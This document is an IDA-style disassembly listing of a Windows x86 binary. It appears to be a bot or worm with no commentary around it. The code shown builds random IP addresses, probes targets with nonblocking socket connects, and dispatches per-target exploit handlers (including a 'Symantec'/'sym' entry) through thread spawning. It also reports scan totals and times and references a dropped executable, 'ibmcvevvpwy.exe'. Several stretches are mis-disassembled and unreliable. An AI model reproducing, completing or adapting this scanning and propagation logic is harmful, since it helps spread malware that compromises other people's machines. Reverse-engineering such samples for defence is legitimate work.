call sub_40B2C4 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B48E ; --------------------------------------------------------------------------- loc_40B489: ; CODE XREF: sub_40B3EC+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40B48E: ; CODE XREF: sub_40B3EC+9Bj cmp eax, ebx jnz short loc_40B458 loc_40B492: ; CODE XREF: sub_40B3EC+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40B4A5 mov eax, [esi] cmp [eax], bl jnz short loc_40B4A5 mov [ebp+var_4], 1 loc_40B4A5: ; CODE XREF: sub_40B3EC+AAj ; sub_40B3EC+B0j mov eax, [ebp+var_4] loc_40B4A8: ; CODE XREF: sub_40B3EC+50j ; sub_40B3EC+5Dj pop edi pop esi pop ebx leave retn sub_40B3EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4AD proc near ; CODE XREF: seg000:004045E6p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_432F38 push eax xor ebx, ebx call sub_41BA76 cmp ds:dword_432A90, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B51F push esi mov esi, offset dword_432A98 loc_40B4E0: ; CODE XREF: sub_40B4AD+6Fj mov eax, [esi] test eax, eax jbe short loc_40B515 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_432F2C push eax call sub_41BA76 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C3D0 add esp, 1Ch loc_40B515: ; CODE XREF: sub_40B4AD+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B4E0 pop esi loc_40B51F: ; CODE XREF: sub_40B4AD+2Bj push ds:dword_4CD93C call sub_41AA78 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41BA76 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C3D0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_200] push eax call sub_4152AE add esp, 38h pop edi pop ebx leave retn sub_40B4AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57B proc near ; CODE XREF: seg000:004045D0p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, ds:dword_4D06F4 mov ecx, ds:dword_4D06F0 push esi push ds:dword_4CD93C lea esi, [ecx+eax] call sub_41AA78 push eax push esi push ds:dword_4D06F4 lea eax, [ebp+var_200] push ds:dword_4D06F0 push offset unk_432F58 push eax call sub_41BA76 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_200] push eax call sub_4152AE add esp, 34h pop esi leave retn sub_40B57B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5E6 proc near ; CODE XREF: seg000:004045BAp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push ds:dword_4CD93C call sub_41AA78 push eax lea eax, [ebp+var_200] push ds:dword_4D0924 push offset unk_432FA0 push eax call sub_41BA76 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_200] push eax call sub_4152AE add esp, 2Ch leave retn sub_40B5E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63A proc near ; CODE XREF: seg000:004045A4p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BD10 push edi lea eax, [ebp+var_800] push offset dword_432FEC push eax call sub_41BA76 cmp ds:dword_432A90, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B6A6 push esi mov esi, offset aSymantec ; "Symantec" loc_40B66F: ; CODE XREF: sub_40B63A+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_432FDC push eax call sub_41BA76 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C3D0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B66F pop esi loc_40B6A6: ; CODE XREF: sub_40B63A+2Dj push ds:dword_4CD93C call sub_41AA78 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41BA76 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C3D0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_800] push eax call sub_4152AE add esp, 34h pop edi leave retn sub_40B63A endp ; --------------------------------------------------------------------------- dword_40B700 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh ; DATA XREF: seg000:00404BF7o dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh dd 3815FF50h, 33004CDCh, 0F84589FFh, 2A903D39h, 7D890043h dd 87D89FCh, 115840Fh, 90BE0000h, 0BB00432Ah, 432A68h ; --------------------------------------------------------------------------- loc_40B754: ; CODE XREF: seg000:0040B859j push dword ptr [ebp-1Ch] push dword ptr [esi] push dword ptr [ebp-8] call sub_40BEF1 add esp, 0Ch cmp eax, 1 jnz loc_40B84E push dword ptr [esi] lea eax, [ebp-134h] push eax lea eax, [ebx+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_43303C push eax call sub_41BA76 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409966 lea eax, [ebp-3F0h] push eax call sub_4152AE lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41BA76 lea eax, [ebp-15Ch] push ebx push eax call sub_41BA76 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40B7E9 lea eax, [ebp-124h] loc_40B7E9: ; CODE XREF: seg000:0040B7E1j push eax lea eax, [ebp-1DCh] push eax call sub_41BA76 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [esi] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+2Ch] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B84E: ; CODE XREF: seg000:0040B767j inc dword ptr [ebp+8] add ebx, 40h lea esi, [ebx+28h] cmp [esi], edi jnz loc_40B754 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_433008 push eax call sub_41BA76 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409966 lea eax, [ebp-3F0h] push eax call sub_4152AE push dword ptr [ebp-18h] call sub_40B287 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 70474FE8h db 0, 29h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8B2 proc near ; CODE XREF: seg000:00403EBFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B1B3 test eax, eax pop ecx jle short loc_40B8EE mov eax, [ebp+arg_C] push ds:dword_4CDD38[eax*8] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_43308C push eax call sub_41BA76 add esp, 0Ch jmp short loc_40B901 ; --------------------------------------------------------------------------- loc_40B8EE: ; CODE XREF: sub_40B8B2+13j lea eax, [ebp+var_200] push offset unk_43306C push eax call sub_41BA76 pop ecx pop ecx loc_40B901: ; CODE XREF: sub_40B8B2+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_200] push eax call sub_4152AE add esp, 18h leave retn sub_40B8B2 endp ; --------------------------------------------------------------------------- loc_40B929: ; CODE XREF: seg000:0040C1F1p push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BE09 shl eax, 6 xor ebx, ebx cmp ds:dword_432A9C[eax], ebx jz loc_40BE09 push 5 call sub_40B1B3 test eax, eax pop ecx jnz loc_40BBA3 mov eax, ds:dword_42A07C push edi mov esi, offset dword_4CFDF4 push 104h push esi push ebx mov ds:dword_4D0004, eax mov ds:dword_4D0000, ebx call near ptr 0B10000h in eax, dx mov edi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe" push 103h push edi push offset dword_4CFEF8 call sub_41B7E0 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_4CFDF0, eax mov eax, [ebp+140h] push 7Fh mov ds:dword_4D0088, eax jnz short loc_40B9D9 lea eax, [ebp+18h] push eax push offset dword_4D0008 call sub_41B7E0 mov ds:dword_4D008C, 1 jmp short loc_40B9F0 ; --------------------------------------------------------------------------- loc_40B9D9: ; CODE XREF: seg000:0040B9BDj lea eax, [ebp+98h] push eax push offset dword_4D0008 call sub_41B7E0 mov ds:dword_4D008C, ebx loc_40B9F0: ; CODE XREF: seg000:0040B9D7j add esp, 0Ch lea eax, [ebp-204h] push esi push ds:dword_4D0004 push offset unk_42D510 push eax call sub_41BA76 push ebx lea eax, [ebp-204h] push 5 push eax call sub_40AF71 add esp, 1Ch mov ds:dword_4CFFFC, eax lea eax, [ebp-4] push eax push ebx push offset dword_4CFDF0 push offset byte_411915 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, ds:dword_4CFFFC imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz loc_40BAF4 call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_4331AC push eax call sub_41BA76 add esp, 0Ch loc_40BA6E: ; CODE XREF: seg000:0040BAFCj lea eax, [ebp-204h] push eax call sub_4152AE mov eax, ds:dword_4CD938 mov esi, offset dword_4D009C mov dword ptr [esp], 104h push esi push ebx mov ds:dword_4D02AC, eax mov ds:dword_4D02A8, ebx call near ptr 0B10000h jge short loc_40BB07 add eax, [ecx] ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; --------------------------------------------------------------------------- push offset dword_4D01A0 call sub_41B7E0 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_4D0098, eax mov eax, [ebp+140h] pop edi mov ds:dword_4D0330, eax push 7Fh jnz short loc_40BB01 lea eax, [ebp+18h] push eax push offset dword_4D02B0 call sub_41B7E0 mov ds:dword_4D0334, 1 jmp short loc_40BB18 ; --------------------------------------------------------------------------- loc_40BAEC: ; CODE XREF: seg000:0040BAFAj push 32h call ds:dword_428064 ; Sleep loc_40BAF4: ; CODE XREF: seg000:0040BA4Dj cmp ds:dword_4D0090, ebx jz short loc_40BAEC jmp loc_40BA6E ; --------------------------------------------------------------------------- loc_40BB01: ; CODE XREF: seg000:0040BAD0j lea eax, [ebp+98h] loc_40BB07: ; CODE XREF: seg000:0040BA9Dj push eax push offset dword_4D02B0 call sub_41B7E0 mov ds:dword_4D0334, ebx loc_40BB18: ; CODE XREF: seg000:0040BAEAj add esp, 0Ch lea eax, [ebp-204h] push esi push ds:dword_4D02AC push offset unk_433178 push eax call sub_41BA76 push ebx lea eax, [ebp-204h] push 4 push eax call sub_40AF71 add esp, 1Ch mov ds:dword_4D02A4, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D0098 push offset sub_40ED60 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, ds:dword_4D02A4 imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz loc_40BC1C call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_433144 push eax call sub_41BA76 add esp, 0Ch loc_40BB96: ; CODE XREF: seg000:0040BC24j lea eax, [ebp-204h] push eax call sub_4152AE pop ecx loc_40BBA3: ; CODE XREF: seg000:0040B95Ej mov eax, [ebp+138h] mov ecx, eax shl ecx, 6 cmp ds:dword_432AA4[ecx], ebx jz loc_40BCD0 push 7 call sub_40B1B3 test eax, eax pop ecx jnz loc_40BCCA mov eax, ds:dword_4D0920 cmp [ebp+98h], bl mov ds:dword_4CFD5C, eax mov eax, [ebp+118h] mov ds:dword_4CFD50, eax mov eax, [ebp+140h] mov ds:dword_4CFD58, ebx mov ds:dword_4CFDE0, eax push 7Fh jnz short loc_40BC29 lea eax, [ebp+18h] push eax push offset dword_4CFD60 call sub_41B7E0 mov ds:dword_4CFDE4, 1 jmp short loc_40BC40 ; --------------------------------------------------------------------------- loc_40BC14: ; CODE XREF: seg000:0040BC22j push 32h call ds:dword_428064 ; Sleep loc_40BC1C: ; CODE XREF: seg000:0040BB75j cmp ds:dword_4D0338, ebx jz short loc_40BC14 jmp loc_40BB96 ; --------------------------------------------------------------------------- loc_40BC29: ; CODE XREF: seg000:0040BBF8j lea eax, [ebp+98h] push eax push offset dword_4CFD60 call sub_41B7E0 mov ds:dword_4CFDE4, ebx loc_40BC40: ; CODE XREF: seg000:0040BC12j add esp, 0Ch lea eax, [ebp-204h] push ds:dword_4CFD5C push offset unk_433114 push eax call sub_41BA76 push ebx lea eax, [ebp-204h] push 7 push eax call sub_40AF71 add esp, 18h mov ds:dword_4CFD54, eax lea eax, [ebp-4] push eax push ebx push offset dword_4CFD50 push offset word_40EABE push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, ds:dword_4CFD54 imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz loc_40BDC2 call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_4330DC push eax call sub_41BA76 add esp, 0Ch loc_40BCBD: ; CODE XREF: seg000:0040BDCAj lea eax, [ebp-204h] push eax call sub_4152AE pop ecx loc_40BCCA: ; CODE XREF: seg000:0040BBC4j mov eax, [ebp+138h] loc_40BCD0: ; CODE XREF: seg000:0040BBB4j shl eax, 6 cmp ds:dword_432AA0[eax], ebx jz loc_40BE09 push 3 call sub_40B1B3 test eax, eax pop ecx jnz loc_40BE09 mov esi, offset dword_4D05CC push 104h push esi push ebx call near ptr 0B10000h push 0E8565C6Ah daa add eax, [ecx] add [ecx+3Bh], bl retn ; --------------------------------------------------------------------------- pop ecx jz short loc_40BD11 mov [eax], bl loc_40BD11: ; CODE XREF: seg000:0040BD0Dj mov eax, ds:dword_42A080 mov ds:dword_4D06E4, ebx mov ds:dword_4D06D0, eax lea eax, [ebp+18h] push eax push offset dword_4D0344 call sub_41BA76 mov eax, [ebp+118h] pop ecx pop ecx mov ds:dword_4D0340, eax mov ecx, [ebp+140h] push esi push ds:dword_4D06D0 mov ds:dword_4D06DC, ecx mov ecx, [ebp+144h] push eax mov ds:dword_4D06E0, ecx call sub_40AAF8 pop ecx push eax lea eax, [ebp-204h] push offset unk_42D498 push eax call sub_41BA76 push ebx lea eax, [ebp-204h] push 3 push eax call sub_40AF71 add esp, 20h mov ds:dword_4D06D8, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D0340 push offset sub_40F477 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, ds:dword_4D06D8 imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jz short loc_40BDE1 jmp short loc_40BDD7 ; --------------------------------------------------------------------------- loc_40BDBA: ; CODE XREF: seg000:0040BDC8j push 32h call ds:dword_428064 ; Sleep loc_40BDC2: ; CODE XREF: seg000:0040BC9Cj cmp ds:dword_4CFDE8, ebx jz short loc_40BDBA jmp loc_40BCBD ; --------------------------------------------------------------------------- loc_40BDCF: ; CODE XREF: seg000:0040BDDDj push 32h call ds:dword_428064 ; Sleep loc_40BDD7: ; CODE XREF: seg000:0040BDB8j cmp ds:dword_4D06EC, ebx jz short loc_40BDCF jmp short loc_40BDFC ; --------------------------------------------------------------------------- loc_40BDE1: ; CODE XREF: seg000:0040BDB6j call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_4330A8 push eax call sub_41BA76 add esp, 0Ch loc_40BDFC: ; CODE XREF: seg000:0040BDDFj lea eax, [ebp-204h] push eax call sub_4152AE pop ecx loc_40BE09: ; CODE XREF: seg000:0040B93Dj ; seg000:0040B94Ej ... pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE0D proc near ; CODE XREF: sub_40BF8E:loc_40BFF0p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CDD38h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C500 add esp, 0Ch push [ebp+arg_0] call ds:dword_4CDB20 ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_4CDBF4 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C500 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BE0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE55 proc near ; CODE XREF: sub_40BF8E+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B1D0 cmp eax, 0Fh pop ecx jbe short loc_40BE7D xor eax, eax jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BE7D: ; CODE XREF: sub_40BE55+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C835 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40BEAA call sub_41BAD2 mov [ebp+var_C], eax loc_40BEAA: ; CODE XREF: sub_40BE55+4Bj cmp [ebp+var_8], esi jnz short loc_40BEB7 call sub_41BAD2 mov [ebp+var_8], eax loc_40BEB7: ; CODE XREF: sub_40BE55+58j cmp [ebp+var_4], esi jnz short loc_40BEC4 call sub_41BAD2 mov [ebp+var_4], eax loc_40BEC4: ; CODE XREF: sub_40BE55+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40BED0 call sub_41BAD2 loc_40BED0: ; CODE XREF: sub_40BE55+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_4CDD38[ecx*8], eax loc_40BEEE: ; CODE XREF: sub_40BE55+26j pop esi leave retn sub_40BE55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF1 proc near ; CODE XREF: seg000:0040B75Cp ; sub_40BF8E+A9p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_4CDC78 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40BF1A xor eax, eax jmp short loc_40BF89 ; --------------------------------------------------------------------------- loc_40BF1A: ; CODE XREF: sub_40BEF1+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_4CDBF8 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_4CDC94 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_4CDBA0 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_4CDBE0 ; select push esi mov edi, eax call ds:dword_4CDC90 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40BF89: ; CODE XREF: sub_40BEF1+27j pop edi pop esi pop ebx leave retn sub_40BEF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF8E proc near ; DATA XREF: seg000:0040C2DDo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_75 = dword ptr -75h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 mov ebx, esi pop ecx imul ebx, 234h jmp loc_40C17F ; --------------------------------------------------------------------------- loc_40BFDA: ; CODE XREF: sub_40BF8E+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40BFF0 lea eax, [ebp+var_150] push eax call sub_40BE55 pop ecx jmp short loc_40BFF5 ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BF8E+51j call sub_40BE0D loc_40BFF5: ; CODE XREF: sub_40BF8E+60j pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_440B3C[ebx] push [ebp+var_3C] push edi call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_433208 push eax call sub_41BA76 lea eax, [ebp+var_28C] push eax lea eax, dword_440938[ebx] push eax call sub_41BA76 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40BEF1 add esp, 2Ch cmp eax, 1 jnz loc_40C174 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C0C9 push offset dword_4CFD38 call ds:dword_4280D4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4331E0 push eax call sub_41BA76 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C0AB cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C09F lea eax, [ebp+var_140] loc_40C09F: ; CODE XREF: sub_40BF8E+109j push eax push [ebp+var_40] call sub_409966 add esp, 14h loc_40C0AB: ; CODE XREF: sub_40BF8E+EEj lea eax, [ebp+var_28C] push eax call sub_4152AE mov [esp+2A8h+var_2A8], offset dword_4CFD38 call ds:dword_4280D0 ; RtlLeaveCriticalSection jmp loc_40C174 ; --------------------------------------------------------------------------- loc_40C0C9: ; CODE XREF: sub_40BF8E+BEj push edi call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41BA76 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41BA76 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C10D lea eax, [ebp+var_140] loc_40C10D: ; CODE XREF: sub_40BF8E+177j push eax lea eax, [ebp+var_1F8] push eax call sub_41BA76 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call ds:off_432A94[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C174: ; CODE XREF: sub_40BF8E+B4j ; sub_40BF8E+136j push 7D0h call ds:dword_428064 ; Sleep loc_40C17F: ; CODE XREF: sub_40BF8E+47j mov eax, ds:dword_440B3C[ebx] cmp ds:dword_4CDD3C[eax*8], 0 jnz loc_40BFDA push esi call sub_40B287 pop ecx push 0 call near ptr 0B10000h loc_40C1A1: ; DATA XREF: seg000:004039F1o ; seg000:004076BEo add [ebp+var_75], edx sub_40BF8E endp ; sp-analysis failed in al, dx sub esp, 1CCh mov eax, [ebp+8] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp-14Ch] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp-14Ch] push eax call ds:dword_4CDC38 ; inet_addr mov ecx, [ebp-2Ch] sub esp, 14Ch lea esi, [ebp-14Ch] push 53h mov ds:dword_4CDD38[ecx*8], eax pop ecx mov edi, esp rep movsd call loc_40B929 push 0Bh call sub_40B1B3 add esp, 150h cmp eax, ebx jnz short loc_40C270 mov esi, offset dword_4CFD38 push esi call ds:dword_4280DC ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4280D8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C270 lea eax, [ebp-1CCh] push offset unk_4332EC push eax call sub_41BA76 xor ebx, ebx pop ecx cmp [ebp-10h], ebx pop ecx jnz short loc_40C25A push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_409966 add esp, 14h loc_40C25A: ; CODE XREF: seg000:0040C23Bj lea eax, [ebp-1CCh] push eax call sub_4152AE pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C270: ; CODE XREF: seg000:0040C205j ; seg000:0040C221j mov eax, [ebp-2Ch] mov esi, ds:dword_428064 mov edi, ebx mov ds:dword_4CDD3C[eax*8], ebx xor ebx, ebx cmp dword ptr [ebp-20h], 1 jb loc_40C332 loc_40C28E: ; CODE XREF: seg000:0040C32Cj push edi lea eax, [ebp-14Ch] push dword ptr [ebp-2Ch] mov [ebp-24h], edi push dword ptr [ebp-38h] push eax lea eax, [ebp-1CCh] push offset unk_4332B8 push eax call sub_41BA76 push ebx lea eax, [ebp-1CCh] push 0Bh push eax call sub_40AF71 mov [ebp-28h], eax imul eax, 234h mov ecx, [ebp-2Ch] add esp, 24h mov ds:dword_440B3C[eax], ecx lea eax, [ebp-14Ch] push ebx push ebx push eax push offset sub_40BF8E push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-28h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40C349 call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-1CCh] push offset unk_433280 push eax call sub_41BA76 lea eax, [ebp-1CCh] push eax call sub_4152AE add esp, 10h loc_40C324: ; CODE XREF: seg000:0040C34Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp-20h] jbe loc_40C28E loc_40C332: ; CODE XREF: seg000:0040C288j cmp [ebp-30h], ebx jz short loc_40C357 mov eax, [ebp-30h] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40C364 ; --------------------------------------------------------------------------- loc_40C345: ; CODE XREF: seg000:0040C34Cj push 1Eh call esi ; Sleep loc_40C349: ; CODE XREF: seg000:0040C2FBj cmp [ebp-4], ebx jz short loc_40C345 jmp short loc_40C324 ; --------------------------------------------------------------------------- loc_40C350: ; CODE XREF: seg000:0040C362j push 7D0h call esi ; Sleep loc_40C357: ; CODE XREF: seg000:0040C335j mov eax, [ebp-2Ch] cmp ds:dword_4CDD3C[eax*8], 1 jz short loc_40C350 loc_40C364: ; CODE XREF: seg000:0040C343j push dword ptr [ebp-30h] mov eax, [ebp-2Ch] push dword ptr [ebp-38h] mov eax, ds:dword_4CDD38[eax*8] push eax call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-1CCh] push offset unk_433240 push eax call sub_41BA76 add esp, 14h cmp [ebp-10h], ebx jnz short loc_40C3B2 push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_409966 add esp, 14h loc_40C3B2: 